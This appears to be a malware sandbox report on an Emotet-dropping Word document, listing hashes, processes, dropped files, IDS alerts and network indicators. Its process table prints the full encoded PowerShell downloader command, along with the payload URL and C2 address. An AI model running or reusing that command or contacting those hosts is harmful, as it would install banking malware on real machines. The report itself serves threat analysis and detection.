analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | Untitled_031819_3596.doc |
| Full analysis: | https://app.any.run/tasks/ac7adf40-2e25-4626-9c3c-b99b069db529 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | March 21, 2019, 13:43:58 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Mar 18 18:01:00 2019, Last Saved Time/Date: Mon Mar 18 18:01:00 2019, Number of Pages: 1, Number of Words: 1, Number of Characters: 8, Security: 0 |
| MD5: | 136649E1060ED7E4A22957CE286BADCA |
| SHA1: | 4E8CFC89187787662D45CE6F34CA7C96E8ADD9AD |
| SHA256: | D31C266BBB5CA7FDF75A87BB226657F5B6A5B06D5E819C9C55594D723809E709 |
| SSDEEP: | 3072:I77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qhK1azQHNtBhVUA1pG2pk594S:I77HUUUUUUUUUUUUUUUUUUUT52VuWazv |
MALICIOUS
Application was dropped or rewritten from another process
- 946.exe (PID: 2592)
- 946.exe (PID: 1764)
- wabmetagen.exe (PID: 3236)
- wabmetagen.exe (PID: 1620)
Downloads executable files from the Internet
- powershell.exe (PID: 2376)
Emotet process was detected
- wabmetagen.exe (PID: 3236)
Changes the autorun value in the registry
- wabmetagen.exe (PID: 1620)
Connects to CnC server
- wabmetagen.exe (PID: 1620)
EMOTET was detected
- wabmetagen.exe (PID: 1620)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 2376)
Application launched itself
- 946.exe (PID: 2592)
- wabmetagen.exe (PID: 3236)
Executable content was dropped or overwritten
- powershell.exe (PID: 2376)
- 946.exe (PID: 1764)
Starts itself from another location
- 946.exe (PID: 1764)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2212)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2212)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:03:18 18:01:00 |
| ModifyDate: | 2019:03:18 18:01:00 |
| Pages: | 1 |
| Words: | 1 |
| Characters: | 8 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 8 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
40
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2212 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Untitled_031819_3596.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2376 | powershell -e IAAoAG4ARQBXAC0ATwBiAEoAZQBjAFQAIAAgAEkAbwAuAEMAbwBNAFAAcgBlAFMAUwBJAG8ATgAuAEQAZQBmAGwAQQB0AEUAUwBUAFIARQBBAG0AKAAgAFsAcwB5AHMAVABlAE0ALgBpAE8ALgBNAEUATQBPAFIAeQBTAHQAUgBlAGEATQBdACAAWwBTAFkAcwBUAGUAbQAuAGMAbwBuAFYAZQBSAFQAXQA6ADoARgByAG8ATQBCAGEAcwBlADYANABTAFQAUgBJAG4ARwAoACgAJwBYAGQAQgAnACsAJwBiACcAKwAnAGEAOQBzAHcARgBBAEQAZwB2ACcAKwAnADYAJwArACcASQBIAGcAeABLAHkAVwBIAFUAeABoACcAKwAnAGQAVQAnACsAJwBZAGUAaABJAHoATAA5AEMAJwArACcATgAnACsAJwBtAHUAJwArACcARQAnACsAJwAxAG0ARQBHACcAKwAnAFEAJwArACcAbAAnACsAJwBlAE4ATAAnACsAJwA1AFUAJwArACcAagBHAFYAcQBvADAAJwArACcASQAnACsAJwBmACcAKwAnADkAOQBXAHQAWQBMAG0AOQAnACsAJwA2AE8AKwBNADcAVgAnACsAJwBFADcAQwAnACsAJwB3ACcAKwAnAE4AbwBPAFkAdABpAEYAcwAnACsAJwBiAEEAJwArACcAbwAnACsAJwBMACcAKwAnAEcAbgBrACcAKwAnAFcAZwBvAFcAQQBBAG0ASwBGAGQAcQA3AEwASgB4AFMARwAnACsAJwBmAEUAZgBqACcAKwAnAFAAMgAnACsAJwBLADUANwBGAHAAVQBKAHYASwBPAHkAMAB5ACcAKwAnAEsAeABLACcAKwAnAFUAMQB4AHYAUwAnACsAJwAzAGoAJwArACcARgBsACcAKwAnAHIAZgBWAEgAJwArACcAdQBlAEkAMQBLAHYAJwArACcAUABoACcAKwAnAEMANwA1ACcAKwAnAGoAdAA1ADAASQByADQAJwArACcAegAnACsAJwBSAEwAKwAzAFgAJwArACcANQBjACcAKwAnADgALwB1ACcAKwAnAC8AdAAnACsAJwBqAHgARgAnACsAJwBUACcAKwAnAGYAeQA2ACcAKwAnAHYAcgBtAEEAcQArAFAAJwArACcANAA5AE8AdQBsACcAKwAnAE0AeABXACcAKwAnADEAZgAnACsAJwBJAC8AJwArACcAdwA5AFcAMgAzAEwAZQBkADQAWAAnACsAJwAwAC8AJwArACcAWAB1ACcAKwAnAHcAZwAnACsAJwBxAHIAJwArACcASgBsAFgANwAnACsAJwArAEYAJwArACcAMwAnACsAJwBWAC8AJwArACcAcABZAE0AZQAnACsAJwBIAGQAaAAnACsAJwB4ADUAJwArACcAMwAnACsAJwAvAEIAJwArACcAaAB4AHkAJwArACcAKwBvADAAcQBWACcAKwAnAGkAJwArACcAOQAnACsAJwAyACcAKwAnAEQAJwArACcARgAnACsAJwB1ACcAKwAnADYAbABSAEQAegAnACsAJwBYACcAKwAnAEsAZABzACcAKwAnAFQAJwArACcAaAAnACsAJwBJACcAKwAnAGcAeQBPAGgAJwArACcAbQBWAG0AJwArACcAegBhACcAKwAnAGoAJwArACcALwAnACsAJwBvACsAOQBhAE0ANgBGADMAZAAnACsAJwBCACcAKwAnAHAANQBBACcAKwAnAEIAdAAnACsAJwBZAEwAJwArACcAeQBHAEkANgBUAEUAQgBBAE8AdABPAGMAUgAnACsAJwA4ACcAKwAnAFUARQBCAFEAawBKAHYAJwArACcAUgB6AGUATwBQAGkAJwArACcAcgBjADYATABKAEgAUgA3ACcAKwAnAEEANgBSAEoAJwArACcAbAB1ACcAKwAnAFgAdQBxACcAKwAnADAAOABGACcAKwAnAEIAJwArACcATwBzAHMAOQBsAEEAOQAnACsAJwAzACsANQBkACcAKwAnAGkAMwA3ACcAKwAnAFEAVgBkACcAKwAnAHYAaAAnACsAJwBqACcAKwAnAFAANgBpAHMAOQBjAEMAJwArACcATQArAHIAagBBACcAKwAnAFcAbAAnACsAJwBVADYAUQBHADUAYQAnACsAJwBDACcAKwAnAGEAZQBnAGwAeABxACcAKwAnAEMAVABsAHAAJwArACcARgBYAGsAJwArACcANwA1AHYAJwArACcAUgAnACsAJwBrACcAKwAnAGgAcABmACcAKwAnAFQAKwAnACsAJwAvACcAKwAnAFgAOQBSAEYAdgAnACsAJwBWAGEAYgA3ADkANABvAHAAOQAnACsAJwBaAEgAJwArACcAdwBpAGIAeAAzAGQAeABEAHcASgBvAEEAaABqAFcAbwAnACsAJwBnACcAKwAnAEEAJwArACcARABuAGwAYQAnACsAJwAwAEcAJwArACcAaABWAGsAYwAnACsAJwBrAGsAJwArACcAUgBUAE4AZgBHACcAKwAnAGQAeAA5ACcAKwAnAFUATAA5AEQAVgBaACcAKwAnAHUAJwArACcARwAnACsAJwB6AEcAJwArACcAcwBrACcAKwAnADQAWgBWADcAJwArACcAVQAzAEoAYQAnACsAJwBxAFcAYwB0ADgAVgA4ACcAKwAnAFkAZQBRACsANQBEAEUAJwArACcAQwAnACsAJwA0AEIAVQBOAFkAeQBBADIATgBTAGoAJwArACcAZQB4ACcAKwAnAGoAJwArACcATQA1AG4AdwBZADEAJwArACcAbwBUACcAKwAnAHUAZQB6ADkAJwArACcANQBoAEIAJwArACcAbgBzAGkAJwArACcAWQBwAHAARABEAEEAUQBTAE4AZgBnAE0APQAnACkAIAApACwAIABbAHMAWQBTAFQARQBNAC4AaQBPAC4AQwBvAE0AcABSAEUAcwBzAEkAbwBuAC4AYwBPAG0AcABSAGUAUwBzAEkATwBOAE0AbwBkAEUAXQA6ADoARABlAEMAbwBNAHAAcgBlAHMAUwApACAAfAAgAEYAbwByAEUAQQBjAGgALQBvAEIAagBlAEMAVAB7ACAAbgBFAFcALQBPAGIASgBlAGMAVAAgAGkAbwAuAHMAdABSAGUAQQBNAHIARQBhAGQARQByACgAJABfACAALABbAHQARQB4AFQALgBlAG4AQwBvAEQAaQBuAEcAXQA6ADoAYQBTAEMAaQBpACkAfQApAC4AcgBlAEEAZAB0AE8AZQBuAEQAKAApACAAfAAgACYAIAAoACAAJABTAGgAZQBMAEwASQBkAFsAMQBdACsAJABzAGgARQBsAGwASQBkAFsAMQAzAF0AKwAnAHgAJwApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2592 | "C:\Users\admin\946.exe" | C:\Users\admin\946.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Description: Windows 8 Toast Notification Exit code: 0 Version: 8,6,0,1000 | ||||
| 1764 | --21281139 | C:\Users\admin\946.exe | 946.exe | |
User: admin Integrity Level: MEDIUM Description: Windows 8 Toast Notification Exit code: 0 Version: 8,6,0,1000 | ||||
| 3236 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | 946.exe | |
User: admin Integrity Level: MEDIUM Description: Windows 8 Toast Notification Exit code: 0 Version: 8,6,0,1000 | ||||
| 1620 | --9bc43e78 | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | wabmetagen.exe | |
User: admin Integrity Level: MEDIUM Description: Windows 8 Toast Notification Version: 8,6,0,1000 | ||||
Total events
1 702
Read events
1 219
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR8832.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2376 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JPKW3GI6EXESSXD13LLW.temp | — | |
MD5:— | SHA256:— | |||
| 2212 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:C2F8C21CBDD63CE007BEFAADFCC707EC | SHA256:D445B9DC038B003F0B915D62C39A6FA1A7BAD3834D8ECA1FCEBD70CCDAFC4AF2 | |||
| 2376 | powershell.exe | C:\Users\admin\946.exe | executable | |
MD5:03072AD10291D3EE749CE3717511B35E | SHA256:D8851D8EE62CE7646344D49AC54F4C7008C27795177DD05E0534F809EF9FC8B8 | |||
| 2376 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
| 2376 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf9273.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
| 2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:D66097F3B7F4E4CF0BC64ABCB378C33F | SHA256:C68F558839760A7DC9FBC07D1A3B62BA6F0B254E22A2FED0DB30C335BA7CDFD2 | |||
| 1764 | 946.exe | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | executable | |
MD5:03072AD10291D3EE749CE3717511B35E | SHA256:D8851D8EE62CE7646344D49AC54F4C7008C27795177DD05E0534F809EF9FC8B8 | |||
| 2212 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$titled_031819_3596.doc | pgc | |
MD5:606873C6F0DB9FCE001946004A2C80FA | SHA256:EE938010935EA04E3F8F200589F7AC6224F5C4495760CDF70E75A5CE6EC64478 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2376 | powershell.exe | GET | 200 | 192.99.175.156:80 | http://www.cbmagency.com/wp-content/GpXbVu/ | CA | executable | 352 Kb | suspicious |
1620 | wabmetagen.exe | POST | 200 | 189.250.145.98:443 | http://189.250.145.98:443/enabled/splash/ | MX | binary | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1620 | wabmetagen.exe | 189.250.145.98:443 | — | Uninet S.A. de C.V. | MX | malicious |
2376 | powershell.exe | 192.99.175.156:80 | www.cbmagency.com | OVH SAS | CA | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.cbmagency.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2376 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2376 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2376 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1620 | wabmetagen.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
1 ETPRO signatures available at the full report